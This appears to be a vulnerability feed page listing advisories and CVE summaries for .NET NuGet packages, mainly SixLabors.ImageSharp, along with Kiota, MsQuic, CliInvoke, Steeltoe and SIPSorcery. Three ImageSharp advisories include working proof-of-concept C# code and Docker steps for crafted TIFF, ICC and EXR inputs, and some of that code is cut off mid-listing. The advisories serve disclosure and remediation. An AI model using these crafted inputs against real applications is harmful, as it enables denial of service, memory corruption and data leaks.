Threats tagged 'nuget'

### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. ### Details [`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count `5000000000`. There are no bytes for an entry. Run the supplied container under a five-second timeout. Complete observed output: ```text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124 ``` `timeout` exit code 124 means the decoder had not returned after five seconds. The control is identical except the entry count is `1`: ```text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0 ``` The control rejects malformed input promptly; it does not time out. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; } private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >

CVE-2026-106115 is an out-of-bounds write vulnerability in the TIFF CCITT Group 4 encoder of SixLabors ImageSharp, a 2D graphics library. Versions from 2.1.0 up to but not including 4.1.2 are affected. The issue arises because the encoder allocates insufficient buffer size, while the compression function can write beyond this allocated memory, leading to memory corruption and potential process termination. This vulnerability is fixed in version 4.1.2.

CVE-2026-106114 is a medium severity vulnerability in SixLabors.ImageSharp affecting versions from 1.0.0-beta0001 through 4.1.1. It involves a memory allocation flaw triggered by a malformed embedded ICC profile, which causes the library to allocate an excessively large amount of memory before validating the profile data. This can lead to significant memory pressure but does not cause unhandled crashes or data corruption. The issue occurs during ICC profile decoding when color profile conversion is enabled. No active exploitation is known, and the allocation failure is caught by the library.

SixLabors.ImageSharp versions 2.0.0 through 4.1.1 contain an out-of-bounds write vulnerability triggered when decoding a specially crafted 32-bit floating-point TIFF image as Image<HalfVector4> and applying HistogramEqualization(). The issue arises from an unchecked luminance-derived histogram index that can be out-of-range due to positive-infinity TIFF samples, causing an AccessViolationException and process termination. No active exploitation is known.

### Summary When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with more than four output channels can corrupt memory during ImageSharp color conversion. The ICC parser accepts up to 15 CLUT output channels, while the conversion implementation stores intermediate values in `Vector4`. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected published releases: **4.0.0, 4.1.0, and 4.1.1** - Affected range: `>= 4.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The reproduced `ColorProfileHandling.Convert` path and the unsafe `Vector4` LUT operations are present in v4.0.0 and unchanged through v4.1.1. The three-output control succeeds on all three published 4.x releases; the fifteen-output exploit terminates all three. ### Details `IccClut` accepts one through fifteen input and output channels. In the reproduced `A2B0` LUT16 path, an attacker-controlled profile declares three input channels and fifteen output channels. [`ClutCalculator.Calculate`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/ClutCalculator.cs#L66-L87) passes a pointer to a four-float `Vector4` result into interpolation code that writes one float per declared output channel. It consequently writes fifteen floats. The same LUT16 tag also has fifteen output LUTs; their [`LutEntryCalculator.CalculateLut`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/LutEntryCalculator.cs#L49-L58) implementation uses `Unsafe.Add` from the first float of a four-float `Vector4`. An application reaches this code by decoding an image containing the profile with `DecoderOptions.ColorProfileHandling` set to `Convert`. `Preserve` is the default and does not run ICC conversion. ### Reproduction environment and result The supplied exploit and control were run against the published NuGet 4.1.1 `net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and .NET runtime 8.0.30. The control changes only the declared output-channel count from fifteen to three and completes successfully. The exploit terminates with exit status 139 before it reaches the completion marker. This runtime PoC establishes memory corruption in the combined LUT16 CLUT/output-LUT path; it does not isolate which unsafe write first corrupts the stack. The full self-contained Docker PoC is included below. Complete control output: ```text mode=control output_channels=3 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f png_bytes=204 decode_completed Docker exit status: 0 ``` Complete exploit output: ```text mode=exploit output_channels=15 imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f png_bytes=207 Docker exit status: 139 ``` No active exploitation is known. ### Impact Applications that enable ICC conversion while processing attacker-supplied images can be made to terminate through memory corruption in the reproduced LUT16 CLUT/output-LUT path. This report is limited to output-channel counts greater than four in that path; it does not claim a TRC issue or other unreproduced ICC paths. ### Complete PoC files Program.cs: ```csharp using System; using System.Buffers.Binary; using System.IO; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Metadata.Profiles.Icc; using SixLabors.ImageSharp.PixelFormats; static class Program { private static void U32(Stream stream, uint value) { Span<byte> bytes = stackalloc byte[4]; BinaryPrimitives.WriteUInt32BigEndian(bytes, value); stream.Write(bytes); } private static void U16(Stream stream, ushort value) { Span<byte> bytes = stackalloc byte[2]; BinaryPrimitives.WriteUInt16BigEndian(bytes, value); stream.Write(bytes); } private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D))); // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4. private static byte[] BuildIcc(int outCh) { const int inCh = 3; const int clutPoints = 2; const int tableEntries = 2; using var stream = new MemoryStream(); byte[] header = new byte[128]; BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3 Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16); Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20); stream.Write(header);

## Summary A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block. This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared `Configuration.Default` allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application. No active exploitation is known. ## Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected published releases: **4.0.0, 4.1.0, and 4.1.1** - Affected range: `>= 4.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them. ## Details For ZIP/ZIPS EXR compression, [`ExrDecoderCore`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/ExrDecoderCore.cs#L169-L205) allocates the expected block buffer without `AllocationOptions.Clean` and later interprets the complete buffer as channel data. [`ZipExrCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/Decompressors/ZipExrCompression.cs#L25-L38) accepts a partial but non-empty inflate result: [`UndoZipCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/ExrBaseDecompressor.cs#L45-L75) rejects only `totalRead == 0`. Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. `ExrDecoderCore` then converts those bytes into returned image pixels. ## Reproduction The attached Docker PoC uses the published `SixLabors.ImageSharp` NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value `0.27182817`. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR. The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output. ```sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control ``` Test environment: Docker with `mcr.microsoft.com/dotnet/sdk:8.0`, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64. Observed output: ```text imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=exploit prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=True first-prior-value-pixel=4 imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=control prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=False first-prior-value-pixel=-1 ``` ## Suggested remediation Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes. ### Complete PoC files Program.cs: ```csharp using System.Buffers.Binary; using System.Globalization; using System.IO.Compression; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Formats.Exr; using SixLabors.ImageSharp.Formats.Exr.Constants; using SixLabors.ImageSharp.PixelFormats; // This performs two independent completed ImageSharp operations in one process. // The first is a valid EXR encoding containing a test value. The second is a // malformed EXR decode whose short ZIP result exposes that value from the // allocator shared through Configuration.Default. internal static class Program { private const int PriorWidth = 64; private const int AttackerWidth = 256; private const float PriorValue = 0.271828182f; private static int Main(string[] args) { bool exploit = args.Length == 0 || args[0] == "exploit"; if (args.Length > 0 && args[0] is not ("exploit" or "control")) { Console.Error.WriteLine("usage: final-4q3p [exploit|control]"); return 2; } Assembly imageSharp = typeof(Image).Assembly; string informationalVersion = imageSharp .GetCustomAttribute<AssemblyInformationalVersionAttribute>()? .InformationalVersion ?? "(missing)"; Console.WriteLine($"imagesharp-ass

CVE-2026-106110 is a high-severity out-of-bounds write vulnerability in the SixLabors ImageSharp 2D graphics library affecting versions from 2.0.0 up to but not including 4.1.2. The issue occurs in the TIFF CCITT Group 3 encoder, which allocates an undersized buffer for compressed data in narrow 1-bit images. This leads to unchecked writes beyond the allocated memory during compression, potentially corrupting process memory and causing process termination. The vulnerability is fixed in version 4.1.2.

CVE-2026-105796 is a high-severity code injection vulnerability in Microsoft Kiota, an OpenAPI-based HTTP client code generator. Versions from 0.5.0 up to but not including 1.35.0 are affected. The issue arises because Kiota's Java and PHP documentation-comment sanitizers improperly handle block-comment terminators, allowing attacker-controlled OpenAPI text to be injected outside generated documentation comments. Exploitation requires a developer or build pipeline to generate and compile or load the maliciously crafted source code, leading to code execution in the consuming application or build environment. This vulnerability is fixed in version 1.35.0.

### Impact When generating an API plugin manifest from an attacker-controlled or compromised OpenAPI description, Kiota copies `x-ai-capabilities.response_semantics.oauth_card_path` into the manifest without validating that it is a safe package-relative file reference. An attacker can supply parent-directory traversal, rooted paths, or absolute URIs instead of a card file within the plugin package. The unsafe reference is propagated into the generated manifest. Its security effect depends on the downstream host's handling of the reference when the plugin is packaged and deployed. This is not local code execution or a file read performed by Kiota merely during generation. A consuming host that resolves the untrusted reference can cross the intended package boundary or use an unintended authentication card. ### Affected versions The affected NuGet packages are `Microsoft.OpenApi.Kiota` and `Microsoft.OpenApi.Kiota.Builder`, starting with version 1.25.1, which introduced this manifest field. The field remains unvalidated through version 1.34.1, including the separate 1.29.1 security-backport release. Version 1.35.0 fixes the issue. ### Patches Upgrade to Kiota 1.35.0 or later and regenerate affected plugin manifests. Kiota now applies the existing safe-file-reference validator to `oauth_card_path`, drops unsafe references, and emits a warning. Valid relative card paths remain supported. - Fix: https://github.com/microsoft/kiota/pull/8055 - Fixed release: https://github.com/microsoft/kiota/releases/tag/v1.35.0 ### Workarounds Generate plugins only from trusted, integrity-protected OpenAPI descriptions. Before packaging or deployment, review generated manifests and remove any `oauth_card_path` that is not a safe relative reference confined to the plugin package. Do not rely on validation of sibling manifest fields to validate this field. ### Related advisories GHSA-4jwf-m4wg-8p66 and GHSA-p5rm-jg5c-8c77 cover `static_template.file`. Their fixes do not enforce validation at the separate `oauth_card_path` emission site.

MsQuic is a cross-platform C implementation of the IETF QUIC protocol exposed to C, C++, C#, and Rust. Prior to 2.4.20, 2.5.11, and 2.6.1, MsQuic clients using the OpenSSL or QuicTLS TLS backend do not properly verify that a server certificate matches the intended target server hostname. An on-path attacker can therefore present a certificate that does not match the intended target hostname and spoof the server in a man-in-the-middle attack. The Schannel backend is not affected. This issue is fixed in versions 2.4.20, 2.5.11, and 2.6.1.

CliInvoke and its formerly named `AlastairLundy.CliInvoke` package are .NET libraries for invoking command-line programs and wrapping executable processes. `CliInvoke` versions 2.0.0 through 2.8.4, 2.9.0 through 2.9.3, 2.10.0 through 2.10.4, and 3.0.0-alpha.1 through 3.0.0-beta.1, as well as `AlastairLundy.CliInvoke` versions 2.0.0-alpha.1 through 2.0.0, contain an argument-injection vulnerability in `RunnerProcessFactory` on the 2.x line and `RunnerConfigurationFactory` on the 3.x line. These factories combine runner arguments, a caller-controlled target, and caller-controlled arguments into one `ProcessStartInfo.Arguments` string, allowing a double quote in the target or an argument to terminate an operating-system-level quoted region and inject unintended elements into the runner’s argument vector, potentially resulting in arbitrary command execution when a shell runner is used. The vulnerability is patched in `CliInvoke` versions 2.8.5, 2.9.4, 2.10.5, and 3.0.0-beta.2, and in `AlastairLundy.CliInvoke` version 2.0.2. No complete workaround is available; users unable to upgrade can partially mitigate the issue by removing double quotes from targets and arguments, additionally removing shell metacharacters when using shell runners, or bypassing the vulnerable factory and constructing a `ProcessConfiguration` with an explicit `ArgumentList`.

CliInvoke is a .NET library for invoking command-line programs, and its `CliInvoke.Specializations` packages provide specialized wrappers for shells such as PowerShell and Windows Command Prompt. `CliInvoke.Specializations` versions 2.2.0 through 2.8.4, 2.9.0 through 2.9.3, 2.10.0 through 2.10.4, 3.0.0-alpha.1 through 3.0.0-alpha.4, and 3.0.0-alpha.8 through 3.0.0-alpha.10, as well as `AlastairLundy.CliInvoke.Specializations` versions 1.0.0-rc.1 through 1.6.1.1, contain an OS command injection vulnerability in their PowerShell and Cmd wrappers. The wrappers pass a caller-controlled target and arguments to `pwsh -Command` or `cmd /c` using a single `ProcessStartInfo.Arguments` string, allowing a double quote in untrusted input to break operating-system-level quoting and cause the shell to execute an additional command with the host process's privileges. The vulnerability is patched in `CliInvoke.Specializations` versions 2.8.5, 2.9.4, 2.10.5, and 3.0.0-beta.1, and in `AlastairLundy.CliInvoke.Specializations` version 2.0.2. No complete workaround is available; users unable to upgrade should reject or remove double quotes from target paths and arguments, additionally reject shell metacharacters in versions 2.2.0 through 2.9.2 and 3.0.0-alpha.1 through 3.0.0-alpha.4, or bypass the PowerShell and Cmd wrappers and invoke target processes directly when handling untrusted input.

Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. From 4.0.0 until 4.3.0, EurekaDiscoveryClient deserializes the registry response as one unit, and an unrecognized actionType or status, a non-Boolean isCoordinatingDiscoveryServer, or a nonnumeric timestamp can abort the entire response. A principal that can register or update an instance can cause all connected Steeltoe clients to receive an empty or stale instance list until the malformed registration is removed. The JsonInstanceInfoConverter, BoolStringJsonConverter, and LongStringJsonConverter parsing paths are affected. This issue is distinct from the earlier DataCenterInfo.name parsing vulnerability. This issue is fixed in version 4.3.0.

Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. From 4.0.0 until 4.3.0, ConsulDiscoveryClient constructs ConsulServiceInstance objects by parsing each registration's secure metadata with a strict Boolean conversion. A principal that can register a Consul service can supply a secure value other than true or false, causing the exception from one instance to abort construction of the entire instance list and make the targeted service undiscoverable. When GetAllInstancesAsync enumerates all services, one malformed instance can abort enumeration across every service. The outage persists until the offending registration is removed. This issue is fixed in version 4.3.0.

Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. Prior to 4.3.0, Steeltoe.Security.Authorization.Certificate deployments using AddOrgAndSpacePolicies() and UseCertificateAuthorization() trust the public certificate supplied in the X-Client-Cert request header without proving possession of the corresponding private key. Common Cloud Foundry routers do not remove this header from inbound requests. When inbound requests are not restricted to a known trusted proxy source IP, an attacker who obtains the public certificate of an application instance in the target organization or space and can reach the application can spoof X-Client-Cert to bypass the SameOrg and SameSpace policies for the certificate validity period. This issue is fixed in version 4.3.0.

CVE-2026-69522 is a high severity remote code execution vulnerability in Microsoft.DiaSymReader.Native affecting Windows platforms. It involves an out-of-bounds write when processing PDB files, leading to a heap-based buffer overflow (CWE-122). The flaw impacts multiple .NET versions and Visual Studio components. A patch is available in version 18.9.0-beta1.26405.2 and the September 2026 .NET Framework security update. Users should update to these versions and restart applications to mitigate the risk.

CVE-2026-72923 is an uncontrolled resource consumption vulnerability in Microsoft OpenAPI.NET's YAML parsing components. It arises from nested anchors and aliases in YAML OpenAPI documents, which can cause exponential memory allocation during conversion to JSON nodes. This can lead to process termination due to out-of-memory conditions. The vulnerability affects Microsoft.OpenApi.YamlReader versions >=2.0.0-preview.11 and <2.12.0, >=3.0.0 and <3.10.0, and Microsoft.OpenApi.Readers versions <1.6.30. Patched versions are available that impose limits on node count and nesting depth to prevent unbounded expansion. The impact is limited to availability and denial of service; no code execution or data exposure is reported.

CVE-2026-73851 is a path traversal vulnerability in Microsoft Kiota affecting versions prior to 1.29.1. It allows an attacker controlling the OpenAPI description to supply crafted file references that resolve outside the intended plugin package, potentially causing unauthorized file inclusion or disclosure. Initial mitigations rejected unsafe paths based on raw strings but failed to decode percent-encoded or obfuscated inputs, allowing bypasses. Subsequent fixes decode inputs before validation and reject control characters and Unicode homoglyphs. Users should upgrade to the first release after version 1.33.0 that includes these fixes. Workarounds include generating plugins only from trusted OpenAPI descriptions and reviewing manifests for unsafe file references.

SIPSorcery's TurnServer component has a vulnerability where a malformed UDP datagram with a specific STUN header byte causes an unhandled exception that terminates the UDP receive loop. This results in a denial of service by disabling the TURN UDP relay for all clients until the process is restarted. The issue affects versions from 10.0.5 up to but not including 10.0.14. The vulnerability is pre-authentication and requires no privileges to exploit.

SIPSorcery versions prior to 10.0.14 contain a vulnerability in SCTP SACK chunk parsing where attacker-controlled counts are not validated, leading to out-of-bounds reads. This causes an unhandled IndexOutOfRangeException that terminates the dedicated SCTP receive thread, resulting in a permanent denial of service of the SCTP association and all related data channels.